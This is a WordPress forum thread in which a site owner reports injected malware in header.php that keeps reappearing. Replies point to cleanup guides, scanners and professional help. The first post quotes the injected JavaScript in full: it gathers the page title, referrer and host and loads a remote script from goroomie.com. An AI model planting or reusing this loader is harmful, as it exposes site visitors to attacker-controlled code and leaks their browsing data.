Malware Injection into Header.php (Website pings another website while loading)

  • tehmuffin

    (@tehmuffin)


    10 years, 5 months ago

    Hello everyone,

    When my website is loading,I noticed (at the bottom left corner of the browser) that the website contacts another website.

    e.g.
    connecting to unknownwebsite.com

    I have contacted my service provider (bluehost) and even paid 250USD for their services to fix the problem. But it came back within 72 hours.

    I contacted them and they said that I had to pay again. I see no sense in this because the first attempt didn’t solve the problem and it’s easy to see that they do not care about fixing my problem at all.

    The code appears in Header.php

    This is what it looks like:

    <script>var a=”; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = “http://goroomie.com/js/jquery.min.php&#8221;; var n_url = base + “?default_keyword=” + default_keyword + “&se_referrer=” + se_referrer + “&source=” + host; var f_url = base + “?c_utt=snt2014&c_utm=” + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== ” && se_referrer !== null && se_referrer !== ”){document.write(‘<script type=”text/javascript” src=”‘ + f_url + ‘”>’ + ‘<‘ + ‘/script>’);}</script>

    As mentioned, I have tried removing these lines of code, but they reappear over and over again. This has affected all my websites in the same host. And I am using the feather theme which I purchased legitimately.

    Can someone who knows what to do point me in the correct direction? I need help.

Viewing 12 replies - 1 through 12 (of 12 total)
  • Moderator James Huff

    (@macmanx)

    10 years, 5 months ago

    Remain calm and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    Thread Starter tehmuffin

    (@tehmuffin)

    10 years, 5 months ago

    Hi James, Thank you.

    I have already went through the guide numerous times and tried as best and diligently as I could to apply the steps.

    But I do not have the expertise to identify the malicious files nor code. That is why I decided to appeal to the forum for help.

    Will anyone be willing to take a look at my website? I am running out of options.

    Moderator James Huff

    (@macmanx)

    10 years, 5 months ago

    For direct access, you’ll have to hire someone.

    Please try http://jobs.wordpress.net/ or http://directory.codepoet.com/ and do not accept any hire or direct access offers posted to these forums.

    Alternatively, you could go direct to a service who specializes in this, like https://vaultpress.com/ or https://sucuri.net/

    Thread Starter tehmuffin

    (@tehmuffin)

    10 years, 5 months ago

    I’m not hiring anyone here.

    I’m asking for help/advice.

    James, please don’t make things harder.

    Moderator James Huff

    (@macmanx)

    10 years, 5 months ago

    My advice is everything covered at https://codex.ww.wp.xz.cn/FAQ_My_site_was_hacked

    You asked, “Will anyone be willing to take a look at my website?” and the answer is to hire someone. Cleaning a hack is long, complex, involved process. It takes at least an hour to fully look for all of the possible causes in your code. No one will do that for free. I’m sorry.

    Thread Starter tehmuffin

    (@tehmuffin)

    10 years, 5 months ago

    Yes. Take a look at the symptoms.

    Not (take a look)as in to clean the hack for me.

    James, please don’t make things harder.

    Moderator James Huff

    (@macmanx)

    10 years, 5 months ago

    I’m not making anything harder.

    I took a lot at your symptoms, they re-appear, which means you didn’t clean the hack itself. If you just clean the symptoms, the hack (the attack vector) is still there, and the symptoms can be easily re-established by the malware.

    Locating and removing that is covered in https://codex.ww.wp.xz.cn/FAQ_My_site_was_hacked a document which was written by experts in the field.

    Again, I’m not trying to make anything more difficult. If you follow https://codex.ww.wp.xz.cn/FAQ_My_site_was_hacked you will be able to remove the hack. The only other alternative is to hire someone to do it for you.

    carkod

    (@carkod)

    9 years, 12 months ago

    that’s an injected javascript code. Try this
    https://blog.sucuri.net/2015/11/jquery-min-php-malware-affects-thousands-of-websites.html

    The WordFence and Sucuri plugins may be able to help you. First do malware scans, then harden everything you can (Sucuri).
    Change passwords. Check if your passwords have been compromised (there is a login section in Sucuri, check if the IPs are yours, if a session IP is not familar and you can see they have successfully logged in, it means your password has been compromised)

    Also check your server side passwords. Check any files that are unknown to you by comparing with WordPress repository version. And if possible remove any code and file that you are sure they were not there before. Careful with this, proceed with caution as you may break the entire website.

    If nothing works, what I did once is to replace all sites, themes, plugins… with new files or older versions.

    The problem with the WordPress FAQ “My site was hacked” is that it is not specific enough. It is a good guide, but for non-experts it’s quite difficult to know where to start. But of course, it is like what your physician will say, but every patient has different symptoms and reacts to different treatments, so my suggestion is to search on Internet for different solutions.

    Hope it helps. This came from my own experience and it worked quite good. Good luck!!

    Moderator James Huff

    (@macmanx)

    9 years, 12 months ago

    Thanks for sharing your experience and recommendation, carkod!

    steelyhead

    (@steelyhead)

    9 years, 10 months ago

    Nothing has worked for me for the last month. Sucuri and Wordfence plugins are good cleaning but not protecting. Even the Joomla sites are hacked on my server. The only ones spared? Glad You asked. The ones using Customizr theme (camionesvence.com) why? Because there’s no </head> on header.php but </header>.
    Do You know any other theme using </header> instead of </head>?
    Thanks!

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    9 years, 10 months ago

    Even the Joomla sites are hacked on my server.

    That indicates there’s a vulnerability at the operating system level on your server. You really do need to hire someone who understands WordPress and Joomla as well as operating system level security.

    Luke Cavanagh

    (@lukecavanagh)

    9 years, 10 months ago

    https://www.wordfence.com/learn/has-my-site-been-hacked/

    https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/

    Anti-Malware Security and Brute-Force Firewall plugin is really handy for scanning for malware.

    https://ww.wp.xz.cn/plugins/gotmls/

Viewing 12 replies - 1 through 12 (of 12 total)

The topic ‘Malware Injection into Header.php (Website pings another website while loading)’ is closed to new replies.